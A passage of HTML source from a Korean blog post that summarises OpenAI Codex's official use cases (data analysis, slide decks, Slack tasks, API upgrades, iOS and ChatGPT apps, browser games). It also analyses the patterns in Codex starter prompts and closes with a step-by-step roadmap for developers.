&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;도구&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;Figma MCP&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;디자인 컨텍스트, 에셋, 변형(variant) 가져오기; 디자인 시스템 규칙 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;$playwright-interactive&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;반응형 동작 검증; Figma 레퍼런스와 구현 비교&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;data-automation&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. Data &amp;amp; Automation: 데이터 분석 &amp;middot; 슬라이드 &amp;middot; Slack &amp;middot; API 업그레이드&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;6-1. 데이터셋 분석 및 리포트 (Intermediate / 1시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지저분한 데이터를 명확한 분석과 시각화로 변환하는 유즈케이스다. 공식 문서는 AGENTS.md에 Python 환경 설정(uv, .venv 선호), 폴더 구조(&lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;data/raw/&lt;/code&gt;, &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;data/processed/&lt;/code&gt;, &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;analysis/&lt;/code&gt;, &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;output/&lt;/code&gt;), 원본 파일 보존 규칙을 명시하도록 가이드한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탐색적 분석은 &lt;b&gt;Git worktree&lt;/b&gt;로 격리하는 패턴이 권장된다:&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; white-space: pre-wrap; line-height: 1.6;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git worktree add ../analysis-eda -b analysis/eda
git worktree add ../analysis-modeling -b analysis/modeling&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종 산출물 형태로 Markdown 메모, CSV/스프레드시트, .docx 브리프, .pdf 등을 지원하는 스킬이 공식 문서에 명시되어 있다: $spreadsheet, $jupyter-notebook, $doc, $pdf.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;6-2. 슬라이드 덱 자동 생성 (Easy / 30분)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PptxGenJS를 사용해 .pptx 파일을 직접 편집한다. 기존 텍스트를 래스터화하지 않고 네이티브 텍스트 오브젝트로 유지하는 것이 핵심이다. 전달 전 PNG로 렌더링해 텍스트 오버플로와 폰트 대체 문제를 확인하도록 가이드한다. 스킬: $slides, $imagegen.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;6-3. Slack 코딩 태스크 (Easy / 5분)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Slack 스레드에서 &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;@Codex&lt;/code&gt;를 멘션해 범위가 정해진 클라우드 태스크를 시작한다. 컨텍스트 스위칭 없이 비동기 핸드오프가 가능하다. 좁은 범위의 요청에 가장 적합하며, 대형 코드베이스에서는 관련 파일이나 디렉토리를 명시하는 것이 좋다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: 600; margin: 16px 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 스타터 프롬프트:&lt;/p&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; white-space: pre-wrap; line-height: 1.6;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;@Codex analyze the issue mentioned in this thread and implement a fix in &amp;lt;name of your environment&amp;gt;.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;6-4. API 인테그레이션 업그레이드 (Intermediate / 1시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 OpenAI API 구현을 최신 모델과 기능으로 업데이트하면서 회귀를 검증하는 유즈케이스다. $openai-docs 스킬이 Codex 편집 전에 현재 모델&amp;middot;마이그레이션&amp;middot;API 가이드를 자동으로 가져온다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;워크플로우: &lt;b&gt;현황 인벤토리 &amp;rarr; 최소 마이그레이션 계획 &amp;rarr; 구현 &amp;rarr; 프롬프트 최적화 &amp;rarr; 평가 파이프라인 검증 &amp;rarr; 수동 검토&lt;/b&gt;. 기존 동작을 보존하는 것이 원칙이며, 변경이 필요한 부분만 플래그를 표시한다.&lt;/p&gt;
&lt;!-- ===== 섹션 7 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;mobile-chatgpt&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. Mobile &amp;amp; ChatGPT: iOS 앱 &amp;middot; ChatGPT 앱 &amp;middot; 브라우저 게임&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;7-1. iOS / macOS 앱 빌드 (Advanced / 1시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CLI 우선 워크플로우로 SwiftUI 앱을 스캐폴딩하고 빌드&amp;middot;디버그한다. Apple의 &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;xcodebuild&lt;/code&gt; 또는 Tuist를 CLI에서 사용하며, Xcode GUI는 피하는 것이 권장된다. 프로젝트가 복잡해지면 XcodeBuildMCP를 추가해 스킴 검사, 시뮬레이터 제어, 스크린샷을 자동화한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: 600; margin: 16px 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 스타터 프롬프트:&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; white-space: pre-wrap; line-height: 1.6;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Scaffold a starter SwiftUI app and add a build-and-launch script I can wire to
a `Build` action in my local environment.
Stay CLI-first. Prefer Apple's `xcodebuild`; if a cleaner setup helps, it's
okay to use Tuist.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 권장 스킬 목록: SwiftUI expert, SwiftUI Pro, Liquid glass expert, SwiftUI performance, SwiftUI view refactor, SwiftUI patterns, Swift concurrency expert. 빌드 자동화 보조 도구로 XcodeBuildMCP(MCP 플러그인)를 함께 사용하는 예시도 제공된다. 처음에는 스킬 없이 단순 프롬프팅으로 시작하고, 작업이 전문화될 때 스킬을 추가하는 점진적 접근이 권장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;7-2. ChatGPT 앱 만들기 (Advanced / 1시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MCP 서버와 선택적 웹 컴포넌트를 만들어 자신의 앱을 ChatGPT에 통합하는 유즈케이스다. 공식 문서가 강조하는 가장 중요한 원칙은 &lt;b&gt;&quot;전체 제품을 포팅하지 말고 하나의 좁은 아웃컴에 집중하라&quot;&lt;/b&gt;는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ChatGPT 앱의 세 구성 요소:&lt;/p&gt;
&lt;ul style=&quot;padding-left: 22px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;MCP Server&lt;/b&gt;: 도구 정의, 인증 강제, 데이터 반환, UI 리소스 포인팅&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Optional Web Component&lt;/b&gt;: React 또는 HTML/CSS/JS로 ChatGPT iframe 내에 렌더링&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Model Integration&lt;/b&gt;: 메타데이터를 기반으로 앱 도구를 언제 호출할지 결정&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 스택: TypeScript 또는 Python MCP 서버, React(또는 plain HTML/CSS/JS) 위젯, ngrok 또는 Cloudflare Tunnel(로컬 HTTPS). 인증(OAuth 2.1)은 익명/읽기 전용 경로가 검증된 후에만 추가하도록 명시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;7-3. 브라우저 게임 만들기 (Intermediate / 장시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PLAN.md로 게임 계획을 세운 후 $playwright-interactive로 라이브 브라우저에서 테스트하며 구현한다. $imagegen으로 게임 에셋을 생성하고, $openai-docs로 API 참조를 조회하며 작업한다. 생성 프롬프트를 재사용 가능한 파일로 저장해 시각적 일관성을 유지하는 것이 권장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 AGENTS.md 예시 스택: &lt;b&gt;프론트엔드&lt;/b&gt; &amp;mdash; Next.js + 렌더링 프레임워크(예: Phaser, PixiJS) / &lt;b&gt;백엔드&lt;/b&gt; &amp;mdash; Fastify + WebSockets + Postgres + Redis. (렌더링 프레임워크는 공식 AGENTS.md 템플릿에서 프로젝트에 맞게 선택하도록 빈칸 처리되어 있다.) 공식 문서는 Codex가 장시간 독립적으로 작업할 수 있도록 &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;.logs/&lt;/code&gt; 디렉토리에 작업 로그를 남기도록 지시할 것을 권한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 8 ===== --&gt;
&lt;h2 id=&quot;prompt-patterns&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 스타터 프롬프트 패턴 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;12개 유즈케이스의 공식 스타터 프롬프트를 분석하면 반복되는 구조 패턴이 보인다. 이 패턴을 이해하면 자신만의 프롬프트를 설계할 때 기준이 된다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;패턴&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;적용 유즈케이스&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;스킬 명시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;code&gt;Use $playwright-interactive, $imagegen...&lt;/code&gt; 형식으로 사용할 스킬을 프롬프트 앞에 명시&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;브라우저 게임, 슬라이드, Figma&amp;rarr;코드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;AGENTS.md 우선 읽기&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;code&gt;Before changing anything: Read `AGENTS.md`&lt;/code&gt; &amp;mdash; 행동 전 컨텍스트 파악 지시&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;어려운 문제 반복, 데이터 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;명시적 중단 조건&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;code&gt;Keep going until both scores are above 90%&lt;/code&gt; &amp;mdash; 목표치를 명시해 드리프트 방지&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;어려운 문제 반복&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;소스 오브 트루스 지정&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;code&gt;using the screenshots and notes I provide as the source of truth&lt;/code&gt; &amp;mdash; 무엇을 기준으로 삼을지 명시&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;반응형 디자인, Figma&amp;rarr;코드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;금지 조건&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;code&gt;Do not stop at the first acceptable result&lt;/code&gt; &amp;mdash; 하지 말아야 할 것을 명시해 과도한 최적화 방지&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;어려운 문제 반복&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;출력 형식 지정&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;code&gt;Output: current best scores / log of major iterations&lt;/code&gt; &amp;mdash; 최종 산출물 명시&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;어려운 문제 반복, 데이터 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;한 줄 종합: Codex 공식 프롬프트의 공통 철학은 &quot;사전에 컨텍스트를 주고(AGENTS.md), 스킬을 지정하고, 중단 조건을 명시하고, 무엇을 만들지 정의하라&quot;이다. 이 네 요소 중 하나라도 빠지면 Codex의 자율 작업 품질이 떨어진다.&lt;/i&gt;&lt;/p&gt;
&lt;!-- ===== 섹션 9 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;roadmap&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 한국 개발자를 위한 실전 시작 로드맵&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 빠르게 결과를 볼 수 있는 순서로 정리했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1: Easy 4개로 즉시 가치 확인 (첫날)&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 16px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;유즈케이스&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;사전 조건&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;기대 효과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;대형 코드베이스 이해&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;저장소 접근 권한&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;5분 만에 새 코드베이스 파악&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;PR 자동 리뷰&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;GitHub 저장소 + Codex 설치&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;PR마다 자동 리뷰 신호 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Slack 코딩 태스크&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Slack 워크스페이스 + Codex Slack 통합&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;컨텍스트 전환 없이 버그 수정 위임&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;슬라이드 덱 자동 생성&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;데이터 파일 또는 분석 결과&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;30분 안에 .pptx 파일 자동 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2: Intermediate 5개로 워크플로우 통합 (첫 주)&lt;/h3&gt;
&lt;ul style=&quot;padding-left: 22px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;반응형 프론트엔드 디자인&lt;/b&gt;: 디자인 시스템이 있는 프로젝트에 Playwright 통합&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Figma 디자인 &amp;rarr; 코드&lt;/b&gt;: Figma MCP 설정 후 디자인 핸드오프 자동화&lt;/li&gt;
&lt;li&gt;&lt;b&gt;데이터셋 분석&lt;/b&gt;: 데이터 분석 AGENTS.md 설정 + Git worktree 패턴 학습&lt;/li&gt;
&lt;li&gt;&lt;b&gt;API 업그레이드&lt;/b&gt;: OpenAI API를 사용 중인 프로젝트에 적용&lt;/li&gt;
&lt;li&gt;&lt;b&gt;브라우저 게임&lt;/b&gt;: 멀티플레이어 게임 AGENTS.md + .logs/ 패턴 학습&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3: Advanced 3개로 심화 활용 (첫 달)&lt;/h3&gt;
&lt;ul style=&quot;padding-left: 22px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;어려운 문제 반복 풀기&lt;/b&gt;: 평가 스크립트가 있는 최적화 문제에 적용&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ChatGPT 앱 만들기&lt;/b&gt;: 하나의 좁은 유즈케이스로 MCP 서버 구축 실험&lt;/li&gt;
&lt;li&gt;&lt;b&gt;iOS/macOS 앱&lt;/b&gt;: Apple 플랫폼 개발자라면 XcodeBuildMCP와 함께 시도&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 5px solid #0066cc; border-radius: 0 8px 8px 0; padding: 20px 24px; margin: 24px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #0066cc; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;AGENTS.md 설정이 핵심&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;어떤 유즈케이스를 선택하든, &lt;b&gt;저장소 루트에 AGENTS.md를 만드는 것이 첫 번째 할 일&lt;/b&gt;이다. PR 리뷰 지침, 코드 스타일, 금지 패턴 등을 명시할수록 Codex의 결과물 품질이 높아진다.&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 가이드: &lt;a href=&quot;https://developers.openai.com/codex/guides/agents-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;developers.openai.com/codex/guides/agents-md&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== 섹션 10 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 결론 : 공식 유즈케이스의 진짜 가치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 페이지가 단순한 기능 목록처럼 보이는 건 제목만 봤을 때 얘기이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 페이지에는 스타터 프롬프트, AGENTS.md 예시, 난이도, 소요 시간이 있다. 어디서 어떻게 시작하는지가 다 나와 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PR 리뷰는 5초짜리 설정이고, eval-driven 루프는 장시간 자율 작업을 위한 고급 패턴이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 시작한다면 &lt;b&gt;코드베이스 이해(5분) &amp;rarr; PR 리뷰 설정 &amp;rarr; AGENTS.md 작성&lt;/b&gt; 순서가 가장 빠르다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;추천 유즈케이스&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;새 저장소에 합류함&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/codebase-onboarding&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;대형 코드베이스 이해&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;PR 리뷰 품질을 높이고 싶음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/github-code-reviews&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PR 자동 리뷰&lt;/a&gt; + AGENTS.md 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Slack에서 버그 수정을 위임하고 싶음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/slack-coding-tasks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Slack 코딩 태스크&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Figma 디자인을 코드로 변환하고 싶음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/figma-designs-to-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma 디자인 &amp;rarr; 코드&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;최적화 문제를 자동으로 반복 개선하고 싶음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/iterate-on-difficult-problems&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;어려운 문제 반복 풀기&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
